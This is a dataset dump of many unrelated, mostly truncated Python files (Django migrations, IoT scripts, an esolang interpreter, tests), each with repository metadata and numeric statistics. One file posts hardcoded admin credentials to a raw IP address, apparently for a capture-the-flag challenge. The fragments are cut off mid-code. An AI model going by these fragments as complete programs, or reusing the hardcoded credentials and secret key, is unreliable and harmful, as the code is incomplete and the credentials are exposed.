0
0
0.108772
0.253927
382
16
64
23.875
0.726316
0.117801
0
0
1
0
0.158209
0.068657
0
0
0
0
0
1
0
false
0
0.1
0
0.4
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
3e869ea6160f40dc58804e7f852689a43590b0fc
516
py
Python
issues_list/migrations/0003_auto_20181106_1541.py
vmcggh18/bits_tracker
7c09aae321efb13979bed274d973c77319ce795e
[ "PostgreSQL" ]
null
null
null
issues_list/migrations/0003_auto_20181106_1541.py
vmcggh18/bits_tracker
7c09aae321efb13979bed274d973c77319ce795e
[ "PostgreSQL" ]
7
2020-06-05T19:50:41.000Z
2022-03-11T23:39:39.000Z
issues_list/migrations/0003_auto_20181106_1541.py
vmcggh18/bits_tracker
7c09aae321efb13979bed274d973c77319ce795e
[ "PostgreSQL" ]
1
2019-02-19T15:30:16.000Z
2019-02-19T15:30:16.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.11.16 on 2018-11-06 15:41 from __future__ import unicode_literals from django.conf import settings from django.db import migrations class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), (...
23.454545
66
0.649225
56
516
5.785714
0.75
0.061728
0
0
0
0
0
0
0
0
0
0.055556
0.232558
516
21
67
24.571429
0.762626
0.133721
0
0
1
0
0.085586
0
0
0
0
0
0
1
0
false
0
0.214286
0
0.428571
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
3e87d53a9a7c9e621189fb9905a20df232be3db0
6,203
py
Python
sentiment_analysis.py
bernardomelo/projeto-final
f0207144282b04e1b781604bf96d69634ca68ee8
[ "MIT" ]
null
null
null
sentiment_analysis.py
bernardomelo/projeto-final
f0207144282b04e1b781604bf96d69634ca68ee8
[ "MIT" ]
null
null
null
sentiment_analysis.py
bernardomelo/projeto-final
f0207144282b04e1b781604bf96d69634ca68ee8
[ "MIT" ]
null
null
null
############################################################################### # Univesidade Federal de Pernambuco -- UFPE (http://www.ufpe.br) # Centro de Informatica -- CIn (http://www.cin.ufpe.br) # Bacharelado em Sistemas de Informacao # IF968 -- Programacao 1 # # Autor: Bernardo Gomes de Melo # ...
35.855491
107
0.563759
757
6,203
4.594452
0.343461
0.025877
0.036228
0.011213
0.120759
0.093157
0.093157
0.073606
0.036803
0.036803
0
0.014098
0.325326
6,203
172
108
36.063953
0.816965
0
0
0.134146
0
0
0.069247
0.01598
0
0
0
0
0
0
null
null
0
0.02439
null
null
0.036585
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
3e8b7eee7855784a75f5858aea2cd7099da89f3d
4,197
py
Python
gistsig/cli.py
derekmerck/check-hashes
aaa7d596281e41bbb5b73850c5d43113b7d0632b
[ "MIT" ]
1
2019-01-26T22:33:02.000Z
2019-01-26T22:33:02.000Z
gistsig/cli.py
derekmerck/check-hashes
aaa7d596281e41bbb5b73850c5d43113b7d0632b
[ "MIT" ]
null
null
null
gistsig/cli.py
derekmerck/check-hashes
aaa7d596281e41bbb5b73850c5d43113b7d0632b
[ "MIT" ]
null
null
null
""" gistsig Derek Merck Winter 2019 Sign and verify Python packages using public gists. """ import logging from pprint import pformat from datetime import datetime import click from . import get_gist, update_gist from . import get_pkg_info, get_pkg_gist @click.group() @click.option('--verbose', '-v', is_flag=True, ...
27.794702
99
0.646414
581
4,197
4.462995
0.232358
0.076359
0.038565
0.037023
0.387968
0.311994
0.25646
0.237948
0.237948
0.213266
0
0.017044
0.231117
4,197
150
100
27.98
0.786489
0.114844
0
0.357143
0
0
0.162147
0
0
0
0
0
0
1
0.071429
false
0.05102
0.061224
0
0.153061
0.010204
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
e41482448ad0c9a9ce2ec0102c5edc24cd4e69ff
11,339
py
Python
tests/test_views/test_memberships.py
freelancing-solutions/GCP-Based-Database-as-a-Service
7d6a12c33db238ca2f748bf4ddea6d2cf3c16da3
[ "MIT" ]
1
2021-04-15T19:45:04.000Z
2021-04-15T19:45:04.000Z
tests/test_views/test_memberships.py
freelancing-solutions/pinydesk
7d6a12c33db238ca2f748bf4ddea6d2cf3c16da3
[ "MIT" ]
516
2021-05-02T11:46:36.000Z
2022-03-29T06:09:49.000Z
tests/test_views/test_memberships.py
freelancing-solutions/pinydesk
7d6a12c33db238ca2f748bf4ddea6d2cf3c16da3
[ "MIT" ]
1
2021-09-04T22:40:14.000Z
2021-09-04T22:40:14.000Z
import random import typing from datetime import datetime, timedelta from random import randint from google.cloud import ndb from data_service.config.stocks import currency_symbols from data_service.store.mixins import AmountMixin from data_service.views.memberships import MembershipsView from data_service.store.member...
45.175299
115
0.71038
1,310
11,339
5.860305
0.101527
0.025791
0.065911
0.057314
0.756155
0.711606
0.668881
0.636577
0.587469
0.552299
0
0.006232
0.193315
11,339
250
116
45.356
0.83306
0.040833
0
0.527174
0
0
0.146658
0.092985
0
0
0
0
0.081522
1
0.092391
false
0
0.070652
0.027174
0.222826
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
e41bb3e24e831bc6c9db543d89a47e06639cb0a0
355
py
Python
src/comments/migrations/0004_auto_20200209_1812.py
samrika25/TRAVIS_HEROKU_GIT
bcae6d0422d9a0369810944a91dd03db7df0d058
[ "MIT" ]
null
null
null
src/comments/migrations/0004_auto_20200209_1812.py
samrika25/TRAVIS_HEROKU_GIT
bcae6d0422d9a0369810944a91dd03db7df0d058
[ "MIT" ]
4
2021-03-30T12:35:36.000Z
2021-06-10T18:11:24.000Z
src/comments/migrations/0004_auto_20200209_1812.py
samrika25/TRAVIS_HEROKU_GIT
bcae6d0422d9a0369810944a91dd03db7df0d058
[ "MIT" ]
2
2021-02-07T16:16:36.000Z
2021-07-13T05:26:51.000Z
# Generated by Django 3.0.2 on 2020-02-09 18:12 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('comments', '0003_auto_20200208_0812'), ] operations = [ migrations.AlterModelOptions( name='comment', options={'ordering': [...
19.722222
51
0.6
36
355
5.805556
0.888889
0
0
0
0
0
0
0
0
0
0
0.120623
0.276056
355
17
52
20.882353
0.692607
0.126761
0
0
1
0
0.188312
0.074675
0
0
0
0
0
1
0
false
0
0.090909
0
0.363636
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
e43577db4ce37b9708732914de0c5a01c24639dc
311
py
Python
ctf/post.py
ntdgy/python_study
c3511846a89ea72418937de4cc3edf1595a46ec5
[ "MIT" ]
null
null
null
ctf/post.py
ntdgy/python_study
c3511846a89ea72418937de4cc3edf1595a46ec5
[ "MIT" ]
null
null
null
ctf/post.py
ntdgy/python_study
c3511846a89ea72418937de4cc3edf1595a46ec5
[ "MIT" ]
null
null
null
import requests def post(): url1 = "http://165.227.106.113/post.php" headers1 = { 'Host': '165.227.106.113' } data = { 'username': 'admin', 'password': '71urlkufpsdnlkadsf' } r1 = requests.post(url=url1, data=data, headers=headers1) print(r1.text) post()
17.277778
61
0.559486
36
311
4.833333
0.638889
0.068966
0.103448
0.137931
0
0
0
0
0
0
0
0.140969
0.270096
311
17
62
18.294118
0.625551
0
0
0
0
0
0.286174
0
0
0
0
0
0
1
0.076923
false
0.076923
0.076923
0
0.153846
0.076923
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
e43dfd916520e80acf562c6592c0e2124190ae44
2,066
py
Python
dibs/src/dibs_link.py
emin63/dibs
419b2fad041aee40647429d3c1faac52c92c25a3
[ "MIT" ]
null
null
null
dibs/src/dibs_link.py
emin63/dibs
419b2fad041aee40647429d3c1faac52c92c25a3
[ "MIT" ]
null
null
null
dibs/src/dibs_link.py
emin63/dibs
419b2fad041aee40647429d3c1faac52c92c25a3
[ "MIT" ]
null
null
null
import os if (os.name == 'nt' or os.name == 'dos'): try: from win32com.shell import shell import pythoncom except Exception, e: print 'WARNING: Received exception ' + `e` + ' in doing import.' print 'WARNING: Unable to import win32com.shell.shell, pythoncom.' ...
34.433333
80
0.57696
204
2,066
5.745098
0.401961
0.037543
0.066553
0.039249
0.213311
0.213311
0.134812
0.061433
0.061433
0.061433
0
0.010226
0.337367
2,066
59
81
35.016949
0.845873
0.036302
0
0.354167
0
0
0.120394
0.010898
0
0
0
0
0
0
null
null
0
0.145833
null
null
0.0625
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
e43fd711dcd86e63949520216ee91e975352e431
10,839
py
Python
esp8266/main.py
0xSebin/SwimTime.github.io
e2d997464d1f4a36783638c81307a775cdfa7fcd
[ "MIT" ]
1
2021-03-28T16:24:23.000Z
2021-03-28T16:24:23.000Z
esp8266/main.py
5ebin-thomas/SwimTime.github.io
e2d997464d1f4a36783638c81307a775cdfa7fcd
[ "MIT" ]
null
null
null
esp8266/main.py
5ebin-thomas/SwimTime.github.io
e2d997464d1f4a36783638c81307a775cdfa7fcd
[ "MIT" ]
2
2018-02-15T17:27:34.000Z
2019-11-20T10:00:43.000Z
""" Group - SwimTime - Swim your way to success """ import ads1x15 import network import time import math import machine from umqtt.simple import MQTTClient import micropython from micropython import const from machine import Pin """ Define constant values """ run = False lapnr = 3 #default lap number temp = ...
28.448819
110
0.658456
1,607
10,839
4.277536
0.194151
0.036078
0.054117
0.024731
0.628891
0.608816
0.604888
0.604888
0.604888
0.604888
0
0.035985
0.24624
10,839
381
111
28.448819
0.805386
0.203617
0
0.601626
0
0
0.149082
0.006482
0
0
0.00144
0
0
1
0.028455
false
0.012195
0.036585
0
0.069106
0.03252
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
e45a47a7a23107da9b1e4e894dbe004e6d56eaf1
2,933
py
Python
Python Exercises/Exercise 8 - Functions/Functions- Decorators & Generators.py
mrankitgupta/PythonLessons
119efc58518c5b35c6647009c74ff96728f851fa
[ "MIT" ]
null
null
null
Python Exercises/Exercise 8 - Functions/Functions- Decorators & Generators.py
mrankitgupta/PythonLessons
119efc58518c5b35c6647009c74ff96728f851fa
[ "MIT" ]
null
null
null
Python Exercises/Exercise 8 - Functions/Functions- Decorators & Generators.py
mrankitgupta/PythonLessons
119efc58518c5b35c6647009c74ff96728f851fa
[ "MIT" ]
null
null
null
# defining a decorator def hello_decorator(func): # inner1 is a Wrapper function in which the argument is called inner function can access the outer local functions like in this case "func" def inner1(): print("Hello, this is before function execution") # calling the actual function now ins...
30.237113
144
0.691101
404
2,933
4.94802
0.299505
0.030015
0.036018
0.04002
0.062031
0.062031
0.03902
0.03902
0
0
0
0.011101
0.232185
2,933
96
145
30.552083
0.876554
0.455506
0
0.349206
0
0
0.137322
0
0
0
0
0
0
1
0.253968
false
0
0.031746
0.015873
0.412698
0.222222
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
e45d9ac1d7f7347063075b259a658688aa945eb7
415
py
Python
category/urls.py
amin-bahiraei-75/shop_back
afcc5907fe33de2db1615f14df71443d1a35bbd0
[ "MIT" ]
1
2021-12-24T15:20:37.000Z
2021-12-24T15:20:37.000Z
category/urls.py
amin-bahiraei-75/shop_back
afcc5907fe33de2db1615f14df71443d1a35bbd0
[ "MIT" ]
null
null
null
category/urls.py
amin-bahiraei-75/shop_back
afcc5907fe33de2db1615f14df71443d1a35bbd0
[ "MIT" ]
null
null
null
from django.urls import path from category.views import List,Detail,Create,Delete,Update,Search,All urlpatterns = [ path('all',All.as_view()), path('list/<int:pk>',List.as_view()), path('search/<str:pk>',Search.as_view()), path('detail/<int:pk>',Detail.as_view()), path('create', Create.as_view()), ...
34.583333
70
0.653012
62
415
4.258065
0.322581
0.159091
0.227273
0
0
0
0
0
0
0
0
0
0.120482
415
12
71
34.583333
0.723288
0
0
0
0
0
0.197115
0
0
0
0
0
0
1
0
false
0
0.181818
0
0.181818
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
e460d64b915b9a1607000858e70b226926b3124a
3,488
py
Python
led_motor_switch.py
scarmel/iot-demo
02c6d810098720803196bf32ee1780925011f57c
[ "Apache-2.0" ]
null
null
null
led_motor_switch.py
scarmel/iot-demo
02c6d810098720803196bf32ee1780925011f57c
[ "Apache-2.0" ]
null
null
null
led_motor_switch.py
scarmel/iot-demo
02c6d810098720803196bf32ee1780925011f57c
[ "Apache-2.0" ]
null
null
null
# ------------------------------------------ # Description: This python script will update AWS Thing Shadow for a Device/Thing # ------------------------------------------ # Import package import paho.mqtt.client as mqtt import ssl, time, sys # ======================================================= # Set Following V...
32.90566
119
0.65539
466
3,488
4.7103
0.313305
0.065604
0.036446
0.03098
0.212301
0.11344
0.089749
0.041913
0.041913
0
0
0.007493
0.158257
3,488
105
120
33.219048
0.740123
0.286697
0
0.070175
0
0
0.266992
0.037037
0
0
0
0
0
0
null
null
0
0.035088
null
null
0.210526
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
e466a39aa7123e6924bb036424ddce439a785489
2,572
py
Python
articulation_structure/nodes/process_bags.py
tum-vision/articulation
3bb714fcde14b8d47977bd3b3da2c2cd13ebe685
[ "BSD-2-Clause" ]
3
2017-03-15T16:50:05.000Z
2021-02-28T05:27:24.000Z
articulation_structure/nodes/process_bags.py
AbdelrahmanElsaid/articulation
3bb714fcde14b8d47977bd3b3da2c2cd13ebe685
[ "BSD-2-Clause" ]
null
null
null
articulation_structure/nodes/process_bags.py
AbdelrahmanElsaid/articulation
3bb714fcde14b8d47977bd3b3da2c2cd13ebe685
[ "BSD-2-Clause" ]
7
2015-07-14T14:47:51.000Z
2018-04-02T16:22:23.000Z
#!/usr/bin/python import rospy import rosbag import time def callback(topic, msg): global current_time try: header = getattr(msg, "header") if header.stamp < current_time: print "received old message, skipping '%s'" % topic return except AttributeError: pass global result result[topic] = msg def w...
25.72
84
0.66563
387
2,572
4.276486
0.232558
0.108761
0.050755
0.054381
0.252568
0.132931
0.074924
0
0
0
0
0.013989
0.194012
2,572
99
85
25.979798
0.78437
0.079705
0
0.222222
0
0
0.077999
0
0
0
0
0
0
0
null
null
0.013889
0.041667
null
null
0.138889
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
e47016cbd72e7098c0941f4e47d79ce1b7c698d1
776
py
Python
back-end/erasmail/emails/migrations/0038_auto_20210422_0059.py
SamirM-BE/ErasMail
88602a039ae731ca8566c96c7c4d2635f82a07a5
[ "Apache-2.0" ]
7
2021-02-06T21:06:23.000Z
2022-01-31T09:33:26.000Z
back-end/erasmail/emails/migrations/0038_auto_20210422_0059.py
SamirM-BE/ErasMail
88602a039ae731ca8566c96c7c4d2635f82a07a5
[ "Apache-2.0" ]
null
null
null
back-end/erasmail/emails/migrations/0038_auto_20210422_0059.py
SamirM-BE/ErasMail
88602a039ae731ca8566c96c7c4d2635f82a07a5
[ "Apache-2.0" ]
5
2021-05-07T15:35:25.000Z
2022-03-21T09:11:24.000Z
# Generated by Django 3.1.6 on 2021-04-22 00:59 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('emails', '0037_remove_emailstats_connected_count'), ] operations = [ migrations.AddField( model_name='emailstats', n...
28.740741
117
0.619845
82
776
5.743902
0.585366
0.038217
0.080679
0.097665
0.305732
0.305732
0.305732
0.305732
0.305732
0.305732
0
0.037567
0.279639
776
26
118
29.846154
0.805009
0.05799
0
0.25
1
0
0.256516
0.052126
0
0
0
0
0
1
0
false
0
0.05
0
0.2
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
e4892ccb409c7b541cbd948a9e9898c388a282c5
521
py
Python
survey/migrations/0018_auto_20161128_0936.py
watchdogpolska/ankieta-rodzic-po-ludzku-nfz
68b1d1ccac969ca51416761d1168678effb1e6c6
[ "MIT" ]
null
null
null
survey/migrations/0018_auto_20161128_0936.py
watchdogpolska/ankieta-rodzic-po-ludzku-nfz
68b1d1ccac969ca51416761d1168678effb1e6c6
[ "MIT" ]
null
null
null
survey/migrations/0018_auto_20161128_0936.py
watchdogpolska/ankieta-rodzic-po-ludzku-nfz
68b1d1ccac969ca51416761d1168678effb1e6c6
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.10.3 on 2016-11-28 09:36 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('survey', '0017_auto_20161128_0242'), ] operations = [ migrations.AlterField...
24.809524
122
0.610365
59
521
5.237288
0.779661
0
0
0
0
0
0
0
0
0
0
0.094388
0.247601
521
20
123
26.05
0.693878
0.130518
0
0
1
0
0.168889
0.051111
0
0
0
0
0
1
0
false
0
0.153846
0
0.384615
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
e4966893077ea1b5b172e99b11516e9d34d31ec5
585
py
Python
Python/problem0852.py
1050669722/LeetCode-Answers
c8f4d1ccaac09cda63b60d75144335347b06dc81
[ "MIT" ]
null
null
null
Python/problem0852.py
1050669722/LeetCode-Answers
c8f4d1ccaac09cda63b60d75144335347b06dc81
[ "MIT" ]
null
null
null
Python/problem0852.py
1050669722/LeetCode-Answers
c8f4d1ccaac09cda63b60d75144335347b06dc81
[ "MIT" ]
null
null
null
class Solution: def peakIndexInMountainArray(self, A: List[int]) -> int: if not A: return None #前向差分 for k in range(1, len(A)-1): if A[k-1]<A[k] and A[k]>A[k+1]: return k return None #最大值 return A.index(max(A)) ...
20.892857
60
0.362393
88
585
2.409091
0.352273
0.09434
0.084906
0.056604
0.141509
0.117925
0.075472
0.075472
0
0
0
0.044521
0.500855
585
27
61
21.666667
0.681507
0.018803
0
0.210526
0
0
0
0
0
0
0
0
0
1
0.052632
false
0
0
0
0.421053
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
e49a3917364c39b81a8dd470087dc69990edf5b7
1,431
py
Python
finace/utils/rong_city.py
pythonyhd/finace
614d98ad92e1bbaa6cf7dc1d6dfaba4f24431688
[ "Apache-2.0" ]
1
2020-08-18T01:55:14.000Z
2020-08-18T01:55:14.000Z
finace/utils/rong_city.py
pythonyhd/finace
614d98ad92e1bbaa6cf7dc1d6dfaba4f24431688
[ "Apache-2.0" ]
null
null
null
finace/utils/rong_city.py
pythonyhd/finace
614d98ad92e1bbaa6cf7dc1d6dfaba4f24431688
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- from pymongo import MongoClient from finace import settings class SpiderCity(object): """获取所有城市列表""" def __init__(self, ip=settings.MONGODB_HOST, port=settings.MONGODB_PORT, db_name=settings.MONGO_DATA_BASE, user=settings.MONGO_USER, password=settings.MONGO_PWD): ...
26.018182
110
0.583508
163
1,431
4.92638
0.386503
0.029888
0.05604
0.070984
0.097136
0.097136
0
0
0
0
0
0.000993
0.296296
1,431
55
111
26.018182
0.796425
0.131377
0
0
0
0
0.013193
0
0
0
0
0
0
1
0.166667
false
0.066667
0.066667
0
0.4
0.033333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
e4a25083351a643d4c8f2b90bb9ef5552f4ba55d
483
py
Python
src/stackoverflow/56339991/tests.py
mrdulin/python-codelab
3d960a14a96b3a673b7dc2277d202069b1f8e778
[ "MIT" ]
null
null
null
src/stackoverflow/56339991/tests.py
mrdulin/python-codelab
3d960a14a96b3a673b7dc2277d202069b1f8e778
[ "MIT" ]
null
null
null
src/stackoverflow/56339991/tests.py
mrdulin/python-codelab
3d960a14a96b3a673b7dc2277d202069b1f8e778
[ "MIT" ]
3
2020-02-19T08:02:04.000Z
2021-06-08T13:27:51.000Z
import unittest from test_base import TestBaseImporter from test_child import TestChildImporter if __name__ == '__main__': test_loader = unittest.TestLoader() test_classes_to_run = [TestBaseImporter, TestChildImporter] suites_list = [] for test_class in test_classes_to_run: suite = test_loader...
30.1875
63
0.766046
56
483
6.160714
0.482143
0.086957
0.075362
0.092754
0
0
0
0
0
0
0
0
0.163561
483
15
64
32.2
0.85396
0
0
0
0
0
0.016563
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
e4a318b6cae44face6ae5927fa38829adbecfa61
1,015
py
Python
src/mains/test_tf.py
JungleEngine/Intelligent_Frame_Skipping_Network
8178acfe06e112f5d33acbd17ad33239a6c4afc2
[ "MIT" ]
null
null
null
src/mains/test_tf.py
JungleEngine/Intelligent_Frame_Skipping_Network
8178acfe06e112f5d33acbd17ad33239a6c4afc2
[ "MIT" ]
null
null
null
src/mains/test_tf.py
JungleEngine/Intelligent_Frame_Skipping_Network
8178acfe06e112f5d33acbd17ad33239a6c4afc2
[ "MIT" ]
null
null
null
# import tensorflow as tf # print(tf.__version__) # # # with tf.name_scope('scalar_set_one') as scope: # tf_constant_one = tf.constant(10, name="ten") # tf_constant_two = tf.constant(20, name="twenty") # scalar_sum_one = tf.add(tf_constant_one, tf_constant_two, name="scalar_ten_plus_twenty") # # # # with tf...
27.432432
100
0.719212
151
1,015
4.496689
0.377483
0.17673
0.029455
0.044183
0.212077
0.070692
0
0
0
0
0
0.009174
0.140887
1,015
36
101
28.194444
0.769495
0.764532
0
0
0
0
0.118483
0.109005
0
0
0
0
0
1
0.142857
false
0
0.285714
0
0.571429
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
e4a86bcd74faf3a16d79362c4832a1d23917c50f
3,696
py
Python
SortingComparison.py
kogol99/MSiD
bbe0ee535f785476a3fe75f0654f496c185565e4
[ "MIT" ]
null
null
null
SortingComparison.py
kogol99/MSiD
bbe0ee535f785476a3fe75f0654f496c185565e4
[ "MIT" ]
10
2020-03-15T20:17:04.000Z
2020-06-05T01:58:35.000Z
SortingComparison.py
kogol99/MSiD
bbe0ee535f785476a3fe75f0654f496c185565e4
[ "MIT" ]
37
2020-03-15T17:30:40.000Z
2020-04-11T20:16:28.000Z
from timeit import default_timer as timer import random def insertion_sort(list_to_sort): for step in range(1, len(list_to_sort)): key = list_to_sort[step] j = step - 1 while j >= 0 and list_to_sort[j] > key: list_to_sort[j + 1] = list_to_sort[j] j -= 1 list...
33.297297
103
0.619048
551
3,696
3.798548
0.130672
0.143335
0.238892
0.060201
0.466794
0.327759
0.243669
0.176302
0.113235
0.113235
0
0.026257
0.27868
3,696
110
104
33.6
0.758815
0.008929
0
0.068966
0
0
0.023491
0
0
0
0
0
0
1
0.126437
false
0
0.022989
0
0.16092
0.057471
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
e4b5033ef04e9a7be53412dd0c2573434a49130e
4,716
py
Python
pikapy/interpreter.py
DanyGLewin/pykachu
d9faeb3e938e8f8da3250e432a9dd70487291627
[ "MIT" ]
null
null
null
pikapy/interpreter.py
DanyGLewin/pykachu
d9faeb3e938e8f8da3250e432a9dd70487291627
[ "MIT" ]
null
null
null
pikapy/interpreter.py
DanyGLewin/pykachu
d9faeb3e938e8f8da3250e432a9dd70487291627
[ "MIT" ]
null
null
null
"""Check the syntax and execute Pikachu commands. Methods: run -- The main context for the pikachu vm. """ from pikapy.utils import pika_error, pika_print from pikapy.reader import PikaReader from pikapy.stack import PikaStack def run(file_name, args, debug): """ Run a specified Pikachu file in a virtual en...
37.133858
116
0.496395
491
4,716
4.623218
0.213849
0.046256
0.062996
0.06696
0.357269
0.326432
0.30793
0.30793
0.270925
0.270925
0
0.007335
0.392918
4,716
126
117
37.428571
0.78554
0
0
0.420561
0
0
0.090659
0
0
0
0
0
0
0
null
null
0.009346
0.028037
null
null
0.065421
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
e4b53b56c59f025bc7d30fa6a90cb388b81c2484
1,865
py
Python
app/accounts/views/vendor_profile.py
phessabi/eshop
6a5352753a0c27f9c3f0eda6eec696f49ef4a8eb
[ "Apache-2.0" ]
1
2020-02-04T21:18:31.000Z
2020-02-04T21:18:31.000Z
app/accounts/views/vendor_profile.py
phessabi/eshop
6a5352753a0c27f9c3f0eda6eec696f49ef4a8eb
[ "Apache-2.0" ]
12
2020-01-01T11:46:33.000Z
2022-03-12T00:10:01.000Z
app/accounts/views/vendor_profile.py
phessabi/eshop
6a5352753a0c27f9c3f0eda6eec696f49ef4a8eb
[ "Apache-2.0" ]
1
2020-02-18T11:12:48.000Z
2020-02-18T11:12:48.000Z
from rest_framework import status from rest_framework.generics import ListAPIView, RetrieveAPIView, CreateAPIView, UpdateAPIView from rest_framework.permissions import AllowAny, IsAuthenticated from rest_framework.response import Response from rest_framework.viewsets import GenericViewSet from _helpers.permissions imp...
40.543478
95
0.790885
180
1,865
8.066667
0.35
0.027548
0.05854
0.049587
0.199036
0.199036
0.172176
0.172176
0.172176
0.172176
0
0.001868
0.138874
1,865
45
96
41.444444
0.902242
0
0
0.2
0
0
0.002146
0
0
0
0
0
0
1
0.057143
false
0
0.285714
0
0.8
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
e4b892cce045d4a84ff88607bc919a58e081ea7c
453
py
Python
tools/ckssh.py
luisxue/TreesShell
cd35826ca495264afa1e30f9b4f06eadd13ecb48
[ "MIT" ]
null
null
null
tools/ckssh.py
luisxue/TreesShell
cd35826ca495264afa1e30f9b4f06eadd13ecb48
[ "MIT" ]
null
null
null
tools/ckssh.py
luisxue/TreesShell
cd35826ca495264afa1e30f9b4f06eadd13ecb48
[ "MIT" ]
null
null
null
#!/usr/bin/python # Author: Luisxue <luisxue@gmail.com> # BLOG: https://luisxue.xcodn.com # # Notes: TreesShell for CentOS/RadHat 6+ Debian 7+ and Ubuntu 12+ # # Project home page: # http://trees.org.cn # https://github.com/luisxue/TreesShell import socket,sys sk = socket.socket(socket.AF_INET, socket.SO...
22.65
65
0.688742
69
453
4.492754
0.724638
0.077419
0
0
0
0
0
0
0
0
0
0.018088
0.145695
453
19
66
23.842105
0.782946
0.527594
0
0
0
0
0.019512
0
0
0
0
0
0
0
null
null
0
0.111111
null
null
0.222222
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
e4c0d071d3b7e4c6ad479ab79343874462a2daf0
2,173
py
Python
tests/openwisp2/settings.py
MiHiR151203/django-x509
fed09c9948fb81ab79ab9e541590ce2e398dd81e
[ "BSD-3-Clause" ]
410
2016-07-18T20:07:34.000Z
2022-03-28T11:21:58.000Z
tests/openwisp2/settings.py
devkapilbansal/django-x509
fe67255028a5437ac8e918831e39698c7e6c661a
[ "BSD-3-Clause" ]
120
2016-09-13T10:36:10.000Z
2022-02-24T15:36:42.000Z
tests/openwisp2/settings.py
devkapilbansal/django-x509
fe67255028a5437ac8e918831e39698c7e6c661a
[ "BSD-3-Clause" ]
85
2016-09-05T21:36:12.000Z
2022-03-19T13:44:13.000Z
import os BASE_DIR = os.path.dirname(os.path.abspath(__file__)) DEBUG = True ALLOWED_HOSTS = [] DATABASES = { 'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME': 'djangox509.db'} } SECRET_KEY = 'fn)t*+$)ugeyip6-#txyy$5wf2ervc0d2n#h)qb)y5@ly$t*@w' INSTALLED_APPS = [ 'django.contrib.auth', 'djan...
28.592105
81
0.678785
227
2,173
6.312775
0.537445
0.099791
0.03559
0.043266
0
0
0
0
0
0
0
0.022857
0.194662
2,173
75
82
28.973333
0.796
0.038656
0
0.032258
0
0.016129
0.529243
0.424257
0
0
0
0
0
1
0
false
0.016129
0.048387
0
0.048387
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
e4c526448ad55197755fe945ed7cc9cdffa6ce97
1,522
py
Python
setup.py
